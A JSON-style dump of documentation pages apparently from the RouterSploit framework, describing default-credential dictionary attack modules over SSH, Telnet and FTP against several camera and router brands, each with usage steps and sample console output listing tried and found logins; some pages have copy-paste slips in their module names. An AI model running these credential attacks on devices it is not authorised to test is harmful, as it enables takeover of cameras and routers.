    "content": "## Description\n\nModule performs dictionary attack with default credentials against Sentry360 Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/sentry360/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/sentry360/ssh_default_creds\nrsf (Sentry360 Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Sentry360 Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/sentry360/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Sentry360 Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/sentry360/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/sentry360/telnet_default_creds\nrsf (Sentry360 Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Sentry360 Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/siemens/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Siemens Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/siemens/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/siemens/ftp_default_creds\nrsf (Siemens Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Siemens Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/siemens/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Siemens Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/siemens/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/siemens/ssh_default_creds\nrsf (Siemens Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Siemens Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/siemens/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Siemens Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/siemens/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/siemens/telnet_default_creds\nrsf (Siemens Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Siemens Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/speco/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Speco Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/speco/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/speco/ftp_default_creds\nrsf (Speco Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Speco Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/speco/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Speco Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/speco/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/speco/ssh_default_creds\nrsf (Speco Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Speco Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/speco/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Speco Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/speco/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/speco/telnet_default_creds\nrsf (Speco Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Speco Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/stardot/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Stardot Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/stardot/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/stardot/ftp_default_creds\nrsf (Stardot Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Stardot Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/stardot/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Stardot Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/stardot/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/stardot/ssh_default_creds\nrsf (Stardot Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Stardot Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/stardot/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Stardot Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/stardot/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/stardot/telnet_default_creds\nrsf (Stardot Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Stardot Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/vacron/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Vacron Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/vacron/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/vacron/ftp_default_creds\nrsf (Vacron Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Vacron Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/vacron/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Vacron Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/vacron/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/vacron/ssh_default_creds\nrsf (Vacron Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Vacron Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/vacron/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Vacron Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/vacron/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/vacron/telnet_default_creds\nrsf (Vacron Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Vacron Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/videoiq/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against VideoIQ Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/videoiq/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/videoiq/ftp_default_creds\nrsf (VideoIQ Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (VideoIQ Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/videoiq/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against VideoIQ Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/videoiq/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/videoiq/ssh_default_creds\nrsf (VideoIQ Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (VideoIQ Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/videoiq/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against VideoIQ Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/videoiq/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/videoiq/telnet_default_creds\nrsf (VideoIQ Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (VideoIQ Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asmax/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asmax Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asmax/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asmax/ftp_default_creds\nrsf (Asmax Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asmax Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asmax/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asmax Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asmax/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asmax/ssh_default_creds\nrsf (Asmax Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asmax Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asmax/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asmax Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asmax/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asmax/telnet_default_creds\nrsf (Asmax Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asmax Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asus/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asus Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asus/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asus/ftp_default_creds\nrsf (Asus Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asus Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asus/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asus Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asus/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asus/ssh_default_creds\nrsf (Asus Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asus Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/asus/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Asus Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/asus/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/asus/telnet_default_creds\nrsf (Asus Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Asus Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   